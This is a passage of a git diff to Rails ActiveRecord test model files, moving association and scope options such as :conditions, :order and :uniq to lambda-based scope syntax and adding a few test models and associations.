+  has_many :special_nonexistant_posts, -> { where("posts.body = 'nonexistant'") }, :class_name => "SpecialPost"
+  has_many :special_nonexistant_post_comments, -> { where('comments.post_id' => 0) }, :through => :special_nonexistant_posts, :source => :comments
   has_many :nonexistant_comments, :through => :posts
 
-  has_many :hello_posts, :class_name => "Post", :conditions => "posts.body = 'hello'"
+  has_many :hello_posts, -> { where "posts.body = 'hello'" }, :class_name => "Post"
   has_many :hello_post_comments, :through => :hello_posts, :source => :comments
-  has_many :posts_with_no_comments, :class_name => 'Post', :conditions => 'comments.id is null', :include => :comments
+  has_many :posts_with_no_comments, -> { where('comments.id' => nil).includes(:comments) }, :class_name => 'Post'
 
-  has_many :hello_posts_with_hash_conditions, :class_name => "Post",
-:conditions => {:body => 'hello'}
+  has_many :hello_posts_with_hash_conditions, -> { where(:body => 'hello') }, :class_name => "Post"
   has_many :hello_post_comments_with_hash_conditions, :through =>
 :hello_posts_with_hash_conditions, :source => :comments
 
@@ -84,29 +83,31 @@ class Author < ActiveRecord::Base
   has_many :special_categories, :through => :special_categorizations, :source => :category
   has_one  :special_category,   :through => :special_categorizations, :source => :category
 
-  has_many :categories_like_general, :through => :categorizations, :source => :category, :class_name => 'Category', :conditions => { :name => 'General' }
+  has_many :categories_like_general, -> { where(:name => 'General') }, :through => :categorizations, :source => :category, :class_name => 'Category'
 
   has_many :categorized_posts, :through => :categorizations, :source => :post
-  has_many :unique_categorized_posts, :through => :categorizations, :source => :post, :uniq => true
+  has_many :unique_categorized_posts, -> { uniq }, :through => :categorizations, :source => :post
 
   has_many :nothings, :through => :kateggorisatons, :class_name => 'Category'
 
   has_many :author_favorites
-  has_many :favorite_authors, :through => :author_favorites, :order => 'name'
+  has_many :favorite_authors, -> { order('name') }, :through => :author_favorites
 
-  has_many :tagging,         :through => :posts
   has_many :taggings,        :through => :posts
+  has_many :taggings_2,      :through => :posts, :source => :tagging
   has_many :tags,            :through => :posts
-  has_many :similar_posts,   :through => :tags,  :source => :tagged_posts, :uniq => true
-  has_many :distinct_tags,   :through => :posts, :source => :tags, :select => "DISTINCT tags.*", :order => "tags.name"
   has_many :post_categories, :through => :posts, :source => :categories
   has_many :tagging_tags,    :through => :taggings, :source => :tag
+
+  has_many :similar_posts, -> { uniq }, :through => :tags, :source => :tagged_posts
+  has_many :distinct_tags, -> { select("DISTINCT tags.*").order("tags.name") }, :through => :posts, :source => :tags
+
   has_many :tags_with_primary_key, :through => :posts
 
   has_many :books
   has_many :subscriptions,        :through => :books
-  has_many :subscribers,          :through => :subscriptions, :order => "subscribers.nick" # through has_many :through (on through reflection)
-  has_many :distinct_subscribers, :through => :subscriptions, :source => :subscriber, :select => "DISTINCT subscribers.*", :order => "subscribers.nick"
+  has_many :subscribers, -> { order("subscribers.nick") }, :through => :subscriptions
+  has_many :distinct_subscribers, -> { select("DISTINCT subscribers.*").order("subscribers.nick") }, :through => :subscriptions, :source => :subscriber
 
   has_one :essay, :primary_key => :name, :as => :writer
   has_one :essay_category, :through => :essay, :source => :category
@@ -128,21 +129,19 @@ class Author < ActiveRecord::Base
   belongs_to :author_address,       :dependent => :destroy
   belongs_to :author_address_extra, :dependent => :delete, :class_name => "AuthorAddress"
 
-  has_many :post_categories, :through => :posts, :source => :categories
   has_many :category_post_comments, :through => :categories, :source => :post_comments
 
-  has_many :misc_posts, :class_name => 'Post',
-           :conditions => { :posts => { :title => ['misc post by bob', 'misc post by mary'] } }
+  has_many :misc_posts, -> { where(:posts => { :title => ['misc post by bob', 'misc post by mary'] }) }, :class_name => 'Post'
   has_many :misc_post_first_blue_tags, :through => :misc_posts, :source => :first_blue_tags
 
-  has_many :misc_post_first_blue_tags_2, :through => :posts, :source => :first_blue_tags_2,
-           :conditions => { :posts => { :title => ['misc post by bob', 'misc post by mary'] } }
+  has_many :misc_post_first_blue_tags_2, -> { where(:posts => { :title => ['misc post by bob', 'misc post by mary'] }) },
+           :through => :posts, :source => :first_blue_tags_2
 
   has_many :posts_with_default_include, :class_name => 'PostWithDefaultInclude'
   has_many :comments_on_posts_with_default_include, :through => :posts_with_default_include, :source => :comments
 
-  scope :relation_include_posts, includes(:posts)
-  scope :relation_include_tags, includes(:tags)
+  scope :relation_include_posts, -> { includes(:posts) }
+  scope :relation_include_tags,  -> { includes(:tags) }
 
   attr_accessor :post_log
   after_initialize :set_post_log
diff --git a/activerecord/test/models/bird.rb b/activerecord/test/models/bird.rb
index e61d48e6a5..dff099c1fb 100644
--- a/activerecord/test/models/bird.rb
+++ b/activerecord/test/models/bird.rb
@@ -1,9 +1,12 @@
 class Bird < ActiveRecord::Base
+  belongs_to :pirate
   validates_presence_of :name
 
+  accepts_nested_attributes_for :pirate
+
   attr_accessor :cancel_save_from_callback
   before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
   def cancel_save_callback_method
     false
   end
-end
\ No newline at end of file
+end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
index d27d0af77c..ce81a37966 100644
--- a/activerecord/test/models/book.rb
+++ b/activerecord/test/models/book.rb
@@ -2,7 +2,7 @@ class Book < ActiveRecord::Base
   has_many :authors
 
   has_many :citations, :foreign_key => 'book1_id'
-  has_many :references, :through => :citations, :source => :reference_of, :uniq => true
+  has_many :references, -> { uniq }, :through => :citations, :source => :reference_of
 
   has_many :subscriptions
   has_many :subscribers, :through => :subscriptions
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
index 888afc7604..0dc2fdd8ae 100644
--- a/activerecord/test/models/bulb.rb
+++ b/activerecord/test/models/bulb.rb
@@ -1,5 +1,5 @@
 class Bulb < ActiveRecord::Base
-  default_scope where(:name => 'defaulty')
+  default_scope { where(:name => 'defaulty') }
   belongs_to :car
 
   attr_protected :car_id, :frickinawesome
@@ -8,7 +8,7 @@ class Bulb < ActiveRecord::Base
 
   after_initialize :record_scope_after_initialize
   def record_scope_after_initialize
-    @scope_after_initialize = self.class.scoped
+    @scope_after_initialize = self.class.all
   end
 
   after_initialize :record_attributes_after_initialize
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
index b9c2e8ec9a..ac42f444e1 100644
--- a/activerecord/test/models/car.rb
+++ b/activerecord/test/models/car.rb
@@ -1,28 +1,27 @@
 class Car < ActiveRecord::Base
 
   has_many :bulbs
-  has_many :foo_bulbs, :class_name => "Bulb", :conditions => { :name => 'foo' }
-  has_many :frickinawesome_bulbs, :class_name => "Bulb", :conditions => { :frickinawesome => true }
+  has_many :foo_bulbs, -> { where(:name => 'foo') }, :class_name => "Bulb"
+  has_many :frickinawesome_bulbs, -> { where :frickinawesome => true }, :class_name => "Bulb"
 
   has_one :bulb
-  has_one :frickinawesome_bulb, :class_name => "Bulb", :conditions => { :frickinawesome => true }
+  has_one :frickinawesome_bulb, -> { where :frickinawesome => true }, :class_name => "Bulb"
 
   has_many :tyres
   has_many :engines, :dependent => :destroy
-  has_many :wheels, :as => :wheelable
+  has_many :wheels, :as => :wheelable, :dependent => :destroy
 
-  scope :incl_tyres, includes(:tyres)
-  scope :incl_engines, includes(:engines)
+  scope :incl_tyres, -> { includes(:tyres) }
+  scope :incl_engines, -> { includes(:engines) }
 
-  scope :order_using_new_style,  order('name asc')
-  scope :order_using_old_style,  :order => 'name asc'
+  scope :order_using_new_style,  -> { order('name asc') }
 
 end
 
 class CoolCar < Car
-  default_scope :order => 'name desc'
+  default_scope { order('name desc') }
 end
 
 class FastCar < Car
-  default_scope :order => 'name desc'
+  default_scope { order('name desc') }
 end
diff --git a/activerecord/test/models/categorization.rb b/activerecord/test/models/categorization.rb
index 4bd980e606..6588531de6 100644
--- a/activerecord/test/models/categorization.rb
+++ b/activerecord/test/models/categorization.rb
@@ -12,7 +12,7 @@ end
 
 class SpecialCategorization < ActiveRecord::Base
   self.table_name = 'categorizations'
-  default_scope where(:special => true)
+  default_scope { where(:special => true) }
 
   belongs_to :author
   belongs_to :category
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
index 02b85fd38a..f8c8ebb70c 100644
--- a/activerecord/test/models/category.rb
+++ b/activerecord/test/models/category.rb
@@ -2,20 +2,20 @@ class Category < ActiveRecord::Base
   has_and_belongs_to_many :posts
   has_and_belongs_to_many :special_posts, :class_name => "Post"
   has_and_belongs_to_many :other_posts, :class_name => "Post"
-  has_and_belongs_to_many :posts_with_authors_sorted_by_author_id, :class_name => "Post", :include => :authors, :order => "authors.id"
+  has_and_belongs_to_many :posts_with_authors_sorted_by_author_id, -> { includes(:authors).order("authors.id") }, :class_name => "Post"
 
-  has_and_belongs_to_many(:select_testing_posts,
+  has_and_belongs_to_many :select_testing_posts,
+                          -> { select 'posts.*, 1 as correctness_marker' },
                           :class_name => 'Post',
                           :foreign_key => 'category_id',
-                          :association_foreign_key => 'post_id',
-                          :select => 'posts.*, 1 as correctness_marker')
+                          :association_foreign_key => 'post_id'
 
   has_and_belongs_to_many :post_with_conditions,
-                          :class_name => 'Post',
-                          :conditions => { :title => 'Yet Another Testing Title' }
+                          -> { where :title => 'Yet Another Testing Title' },
+                          :class_name => 'Post'
 
-  has_and_belongs_to_many :popular_grouped_posts, :class_name => "Post", :group => "posts.type", :having => "sum(comments.post_id) > 2", :include => :comments
-  has_and_belongs_to_many :posts_grouped_by_title, :class_name => "Post", :group => "title", :select => "title"
+  has_and_belongs_to_many :popular_grouped_posts, -> { group("posts.type").having("sum(comments.post_id) > 2").includes(:comments) }, :class_name => "Post"
+  has_and_belongs_to_many :posts_grouped_by_title, -> { group("title").select("title") }, :class_name => "Post"
 
   def self.what_are_you
     'a category...'
@@ -25,9 +25,9 @@ class Category < ActiveRecord::Base
   has_many :post_comments, :through => :posts, :source => :comments
 
   has_many :authors, :through => :categorizations
-  has_many :authors_with_select, :through => :categorizations, :source => :author, :select => 'authors.*, categorizations.post_id'
+  has_many :authors_with_select, -> { select 'authors.*, categorizations.post_id' }, :through => :categorizations, :source => :author
 
-  scope :general, :conditions => { :name => 'General' }
+  scope :general, -> { where(:name => 'General') }
 end
 
 class SpecialCategory < Category
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
new file mode 100644
index 0000000000..c7495d7deb
--- /dev/null
+++ b/activerecord/test/models/college.rb
@@ -0,0 +1,5 @@
+require_dependency 'models/arunit2_model'
+
+class College < ARUnit2Model
+  has_many :courses
+end
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
index 88b139d931..4b2015fe01 100644
--- a/activerecord/test/models/comment.rb
+++ b/activerecord/test/models/comment.rb
@@ -1,16 +1,16 @@
 class Comment < ActiveRecord::Base
   scope :limit_by, lambda {|l| limit(l) }
-  scope :containing_the_letter_e, :conditions => "comments.body LIKE '%e%'"
-  scope :not_again, where("comments.body NOT LIKE '%again%'")
-  scope :for_first_post, :conditions => { :post_id => 1 }
-  scope :for_first_author,
-              :joins => :post,
-              :conditions => { "posts.author_id" => 1 }
-  scope :created
+  scope :containing_the_letter_e, -> { where("comments.body LIKE '%e%'") }
+  scope :not_again, -> { where("comments.body NOT LIKE '%again%'") }
+  scope :for_first_post, -> { where(:post_id => 1) }
+  scope :for_first_author, -> { joins(:post).where("posts.author_id" => 1) }
+  scope :created, -> { all }
 
   belongs_to :post, :counter_cache => true
   has_many :ratings
 
+  belongs_to :first_post, :foreign_key => :post_id
+
   has_many :children, :class_name => 'Comment', :foreign_key => :parent_id
   belongs_to :parent, :class_name => 'Comment', :counter_cache => :children_count
 
@@ -19,13 +19,13 @@ class Comment < ActiveRecord::Base
   end
 
   def self.search_by_type(q)
-    self.find(:all, :conditions => ["#{QUOTED_TYPE} = ?", q])
+    where("#{QUOTED_TYPE} = ?", q)
   end
 
   def self.all_as_method
     all
   end
-  scope :all_as_scope, {}
+  scope :all_as_scope, -> { all }
 end
 
 class SpecialComment < Comment
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index 78eb4c57ac..75f38d275c 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -4,7 +4,7 @@ end
 
 class Company < AbstractCompany
   attr_protected :rating
-  set_sequence_name :companies_nonstd_seq
+  self.sequence_name = :companies_nonstd_seq
 
   validates_presence_of :name
 
@@ -36,58 +36,65 @@ module Namespaced
 end
 
 class Firm < Company
-  has_many :clients, :order => "id", :dependent => :destroy, :counter_sql =>
-      "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
-      "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )",
-      :before_remove => :log_before_remove,
-      :after_remove  => :log_after_remove
+  ActiveSupport::Deprecation.silence do
+    has_many :clients, -> { order "id" }, :dependent => :destroy, :counter_sql =>
+        "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
+        "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )",
+        :before_remove => :log_before_remove,
+        :after_remove  => :log_after_remove
+  end
   has_many :unsorted_clients, :class_name => "Client"
   has_many :unsorted_clients_with_symbol, :class_name => :Client
-  has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
-  has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
+  has_many :clients_sorted_desc, -> { order "id DESC" }, :class_name => "Client"
+  has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
+  has_many :clients_ordered_by_name, -> { order "name" }, :class_name => "Client"
   has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
-  has_many :dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :destroy
-  has_many :exclusively_dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all
-  has_many :limited_clients, :class_name => "Client", :limit => 1
-  has_many :clients_with_interpolated_conditions, :class_name => "Client", :conditions => proc { "rating > #{rating}" }
-  has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
-  has_many :clients_like_ms_with_hash_conditions, :conditions => { :name => 'Microsoft' }, :class_name => "Client", :order => "id"
-  has_many :clients_using_sql, :class_name => "Client", :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" }
-  has_many :clients_using_counter_sql, :class_name => "Client",
-           :finder_sql  => proc { "SELECT * FROM companies WHERE client_of = #{id} " },
-           :counter_sql => proc { "SELECT COUNT(*) FROM companies WHERE client_of = #{id}" }
-  has_many :clients_using_zero_counter_sql, :class_name => "Client",
-           :finder_sql  => proc { "SELECT * FROM companies WHERE client_of = #{id}" },
-           :counter_sql => proc { "SELECT 0 FROM companies WHERE client_of = #{id}" }
-  has_many :no_clients_using_counter_sql, :class_name => "Client",
-           :finder_sql  => 'SELECT * FROM companies WHERE client_of = 1000',
-           :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
-  has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
+  has_many :dependent_clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :dependent => :destroy
+  has_many :exclusively_dependent_clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
+  has_many :limited_clients, -> { limit 1 }, :class_name => "Client"
+  has_many :clients_with_interpolated_conditions, ->(firm) { where "rating > #{firm.rating}" }, :class_name => "Client"
+  has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
+  has_many :clients_like_ms_with_hash_conditions, -> { where(:name => 'Microsoft').order("id") }, :class_name => "Client"
+  ActiveSupport::Deprecation.silence do
+    has_many :clients_using_sql, :class_name => "Client", :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" }
+    has_many :clients_using_counter_sql, :class_name => "Client",
+             :finder_sql  => proc { "SELECT * FROM companies WHERE client_of = #{id} " },
+             :counter_sql => proc { "SELECT COUNT(*) FROM companies WHERE client_of = #{id}" }
+    has_many :clients_using_zero_counter_sql, :class_name => "Client",
+             :finder_sql  => proc { "SELECT * FROM companies WHERE client_of = #{id}" },
+             :counter_sql => proc { "SELECT 0 FROM companies WHERE client_of = #{id}" }
+    has_many :no_clients_using_counter_sql, :class_name => "Client",
+             :finder_sql  => 'SELECT * FROM companies WHERE client_of = 1000',
+             :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
+    has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
+  end
   has_many :plain_clients, :class_name => 'Client'
-  has_many :readonly_clients, :class_name => 'Client', :readonly => true
+  has_many :readonly_clients, -> { readonly }, :class_name => 'Client'
   has_many :clients_using_primary_key, :class_name => 'Client',
            :primary_key => 'name', :foreign_key => 'firm_name'
   has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
            :primary_key => 'name', :foreign_key => 'firm_name', :dependent => :delete_all
-  has_many :clients_grouped_by_firm_id, :class_name => "Client", :group => "firm_id", :select => "firm_id"
-  has_many :clients_grouped_by_name, :class_name => "Client", :group => "name", :select => "name"
+  has_many :clients_grouped_by_firm_id, -> { group("firm_id").select("firm_id") }, :class_name => "Client"
+  has_many :clients_grouped_by_name, -> { group("name").select("name") }, :class_name => "Client"
 
   has_one :account, :foreign_key => "firm_id", :dependent => :destroy, :validate => true
   has_one :unvalidated_account, :foreign_key => "firm_id", :class_name => 'Account', :validate => false
-  has_one :account_with_select, :foreign_key => "firm_id", :select => "id, firm_id", :class_name=>'Account'
-  has_one :readonly_account, :foreign_key => "firm_id", :class_name => "Account", :readonly => true
+  has_one :account_with_select, -> { select("id, firm_id") }, :foreign_key => "firm_id", :class_name=>'Account'
+  has_one :readonly_account, -> { readonly }, :foreign_key => "firm_id", :class_name => "Account"
   # added order by id as in fixtures there are two accounts for Rails Core
   # Oracle tests were failing because of that as the second fixture was selected
-  has_one :account_using_primary_key, :primary_key => "firm_id", :class_name => "Account", :order => "id"
+  has_one :account_using_primary_key, -> { order('id') }, :primary_key => "firm_id", :class_name => "Account"
   has_one :account_using_foreign_and_primary_keys, :foreign_key => "firm_name", :primary_key => "name", :class_name => "Account"
   has_one :deletable_account, :foreign_key => "firm_id", :class_name => "Account", :dependent => :delete
 
-  has_one :account_limit_500_with_hash_conditions, :foreign_key => "firm_id", :class_name => "Account", :conditions => { :credit_limit => 500 }
+  has_one :account_limit_500_with_hash_conditions, -> { where :credit_limit => 500 }, :foreign_key => "firm_id", :class_name => "Account"
 
   has_one :unautosaved_account, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
   has_many :accounts
   has_many :unautosaved_accounts, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
 
+  has_many :association_with_references, -> { references(:foo) }, :class_name => 'Client'
+
   def log
     @log ||= []
   end
@@ -108,20 +115,32 @@ class DependentFirm < Company
 end
 
 class RestrictedFirm < Company
-  has_one :account, :foreign_key => "firm_id", :dependent => :restrict, :order => "id"
-  has_many :companies, :foreign_key => 'client_of', :order => "id", :dependent => :restrict
+  ActiveSupport::Deprecation.silence do
+    has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict
+    has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict
+  end
+end
+
+class RestrictedWithExceptionFirm < Company
+  has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict_with_exception
+  has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict_with_exception
+end
+
+class RestrictedWithErrorFirm < Company
+  has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict_with_error
+  has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict_with_error
 end
 
 class Client < Company
   belongs_to :firm, :foreign_key => "client_of"
   belongs_to :firm_with_basic_id, :class_name => "Firm", :foreign_key => "firm_id"
-  belongs_to :firm_with_select, :class_name => "Firm", :foreign_key => "firm_id", :select => "id"
+  belongs_to :firm_with_select, -> { select("id") }, :class_name => "Firm", :foreign_key => "firm_id"
   belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
-  belongs_to :firm_with_condition, :class_name => "Firm", :foreign_key => "client_of", :conditions => ["1 = ?", 1]
+  belongs_to :firm_with_condition, -> { where "1 = ?", 1 }, :class_name => "Firm", :foreign_key => "client_of"
   belongs_to :firm_with_primary_key, :class_name => "Firm", :primary_key => "name", :foreign_key => "firm_name"
   belongs_to :firm_with_primary_key_symbols, :class_name => "Firm", :primary_key => :name, :foreign_key => :firm_name
-  belongs_to :readonly_firm, :class_name => "Firm", :foreign_key => "firm_id", :readonly => true
-  belongs_to :bob_firm, :class_name => "Firm", :foreign_key => "client_of", :conditions => { :name => "Bob" }
+  belongs_to :readonly_firm, -> { readonly }, :class_name => "Firm", :foreign_key => "firm_id"
+  belongs_to :bob_firm, -> { where :name => "Bob" }, :class_name => "Firm", :foreign_key => "client_of"
   has_many :accounts, :through => :firm
   belongs_to :account
 
@@ -176,9 +195,9 @@ end
 
 class ExclusivelyDependentFirm < Company
   has_one :account, :foreign_key => "firm_id", :dependent => :delete
-  has_many :dependent_sanitized_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => "name = 'BigShot Inc.'"
-  has_many :dependent_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => ["name = ?", 'BigShot Inc.']
-  has_many :dependent_hash_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => {:name => 'BigShot Inc.'}
+  has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
+  has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
+  has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(:name => 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
 end
 
 class SpecialClient < Client
@@ -195,6 +214,11 @@ class Account < ActiveRecord::Base
     @destroyed_account_ids ||= Hash.new { |h,k| h[k] = [] }
   end
 
+  # Test private kernel method through collection proxy using has_many.
+  def self.open
+    where('firm_name = ?', '37signals')
+  end
+
   before_destroy do |account|
     if account.firm
       Account.destroyed_account_ids[account.firm.id] << account.id
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
index 2c8c30efb4..eb2aedc425 100644
--- a/activerecord/test/models/company_in_module.rb
+++ b/activerecord/test/models/company_in_module.rb
@@ -7,11 +7,13 @@ module MyApplication
     end
 
     class Firm < Company
-      has_many :clients, :order => "id", :dependent => :destroy
-      has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
-      has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
-      has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
-      has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
+      has_many :clients, -> { order("id") }, :dependent => :destroy
+      has_many :clients_sorted_desc, -> { order("id DESC") }, :class_name => "Client"
+      has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
+      has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
+      ActiveSupport::Deprecation.silence do
+        has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
+      end
 
       has_one :account, :class_name => 'MyApplication::Billing::Account', :dependent => :destroy
     end
diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb
index 3d15c7fbed..a1cb8d62b6 100644
--- a/activerecord/test/models/contact.rb
+++ b/activerecord/test/models/contact.rb
@@ -1,25 +1,40 @@
-class Contact < ActiveRecord::Base
-  establish_connection(:adapter => 'fake')
+module ContactFakeColumns
+  def self.extended(base)
+    base.class_eval do
+      establish_connection(:adapter => 'fake')
+
+      connection.tables = [table_name]
+      connection.primary_keys = {
+        table_name => 'id'
+      }
+
+      column :name,           :string
+      column :age,            :integer
+      column :avatar,         :binary
+      column :created_at,     :datetime
+      column :awesome,        :boolean
+      column :preferences,    :string
+      column :alternative_id, :integer
+
+      serialize :preferences
 
-  connection.tables = ['contacts']
-  connection.primary_keys = {
-    'contacts' => 'id'
-  }
+      belongs_to :alternative, :class_name => 'Contact'
+    end
+  end
 
   # mock out self.columns so no pesky db is needed for these tests
-  def self.column(name, sql_type = nil, options = {})
-    connection.merge_column('contacts', name, sql_type, options)
+  def column(name, sql_type = nil, options = {})
+    connection.merge_column(table_name, name, sql_type, options)
   end
+end
 
-  column :name,           :string
-  column :age,            :integer
-  column :avatar,         :binary
-  column :created_at,     :datetime
-  column :awesome,        :boolean
-  column :preferences,    :string
-  column :alternative_id, :integer
+class Contact < ActiveRecord::Base
+  extend ContactFakeColumns
+end
 
-  serialize :preferences
+class ContactSti < ActiveRecord::Base
+  extend ContactFakeColumns
+  column :type, :string
 
-  belongs_to :alternative, :class_name => 'Contact'
+  def type; 'ContactSti' end
 end
diff --git a/activerecord/test/models/country.rb b/activerecord/test/models/country.rb
index 15e3a1de0b..7db9a4e731 100644
--- a/activerecord/test/models/country.rb
+++ b/activerecord/test/models/country.rb
@@ -1,6 +1,6 @@
 class Country < ActiveRecord::Base
 
-  set_primary_key :country_id
+  self.primary_key = :country_id
 
   has_and_belongs_to_many :treaties
 
diff --git a/activerecord/test/models/course.rb b/activerecord/test/models/course.rb
index 8a40fa740d..f3d0e05ff7 100644
--- a/activerecord/test/models/course.rb
+++ b/activerecord/test/models/course.rb
@@ -1,3 +1,6 @@
-class Course < ActiveRecord::Base
+require_dependency 'models/arunit2_model'
+
+class Course < ARUnit2Model
+  belongs_to :college
   has_many :entrants
 end
diff --git a/activerecord/test/models/customer.rb b/activerecord/test/models/customer.rb
index 777f6b5ba0..7e8e82542f 100644
--- a/activerecord/test/models/customer.rb
+++ b/activerecord/test/models/customer.rb
@@ -1,7 +1,11 @@
 class Customer < ActiveRecord::Base
+  cattr_accessor :gps_conversion_was_run
+
   composed_of :address, :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ], :allow_nil => true
   composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
   composed_of :gps_location, :allow_nil => true
+  composed_of :non_blank_gps_location, :class_name => "GpsLocation", :allow_nil => true, :mapping => %w(gps_location gps_location),
+              :converter => lambda { |gps| self.gps_conversion_was_run = true; gps.blank? ? nil : GpsLocation.new(gps)}
   composed_of :fullname, :mapping => %w(name to_s), :constructor => Proc.new { |name| Fullname.parse(name) }, :converter => :parse
 end
 
diff --git a/activerecord/test/models/dashboard.rb b/activerecord/test/models/dashboard.rb
index a8a25834b1..1b3b54545f 100644
--- a/activerecord/test/models/dashboard.rb
+++ b/activerecord/test/models/dashboard.rb
@@ -1,3 +1,3 @@
 class Dashboard < ActiveRecord::Base
-  set_primary_key :dashboard_id
-end
\ No newline at end of file
+  self.primary_key = :dashboard_id
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index 4dc9fff9fd..622dd75aeb 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -2,42 +2,42 @@ require 'ostruct'
 
 module DeveloperProjectsAssociationExtension
   def find_most_recent
-    find(:first, :order => "id DESC")
+    order("id DESC").first
   end
 end
 
 module DeveloperProjectsAssociationExtension2
   def find_least_recent
-    find(:first, :order => "id ASC")
+    order("id ASC").first
   end
 end
 
 class Developer < ActiveRecord::Base
   has_and_belongs_to_many :projects do
     def find_most_recent
-      find(:first, :order => "id DESC")
+      order("id DESC").first
     end
   end
 
   has_and_belongs_to_many :projects_extended_by_name,
+      -> { extending(DeveloperProjectsAssociationExtension) },
       :class_name => "Project",
       :join_table => "developers_projects",
-      :association_foreign_key => "project_id",
-      :extend => DeveloperProjectsAssociationExtension
+      :association_foreign_key => "project_id"
 
   has_and_belongs_to_many :projects_extended_by_name_twice,
+      -> { extending(DeveloperProjectsAssociationExtension, DeveloperProjectsAssociationExtension2) },
       :class_name => "Project",
       :join_table => "developers_projects",
-      :association_foreign_key => "project_id",
-      :extend => [DeveloperProjectsAssociationExtension, DeveloperProjectsAssociationExtension2]
+      :association_foreign_key => "project_id"
 
   has_and_belongs_to_many :projects_extended_by_name_and_block,
+      -> { extending(DeveloperProjectsAssociationExtension) },
       :class_name => "Project",
       :join_table => "developers_projects",
-      :association_foreign_key => "project_id",
-      :extend => DeveloperProjectsAssociationExtension do
+      :association_foreign_key => "project_id" do
         def find_least_recent
-          find(:first, :order => "id ASC")
+          order("id ASC").first
         end
       end
 
@@ -45,7 +45,7 @@ class Developer < ActiveRecord::Base
 
   has_many :audit_logs
 
-  scope :jamises, :conditions => {:name => 'Jamis'}
+  scope :jamises, -> { where(:name => 'Jamis') }
 
   validates_inclusion_of :salary, :in => 50000..200000
   validates_length_of    :name, :within => 3..20
@@ -57,12 +57,6 @@ class Developer < ActiveRecord::Base
   def log=(message)
     audit_logs.build :message => message
   end
-
-  def self.all_johns
-    self.with_exclusive_scope :find => where(:name => 'John') do
-      self.all
-    end
-  end
 end
 
 class AuditLog < ActiveRecord::Base
@@ -88,31 +82,25 @@ end
 
 class DeveloperWithSelect < ActiveRecord::Base
   self.table_name = 'developers'
-  default_scope select('name')
+  default_scope { select('name') }
 end
 
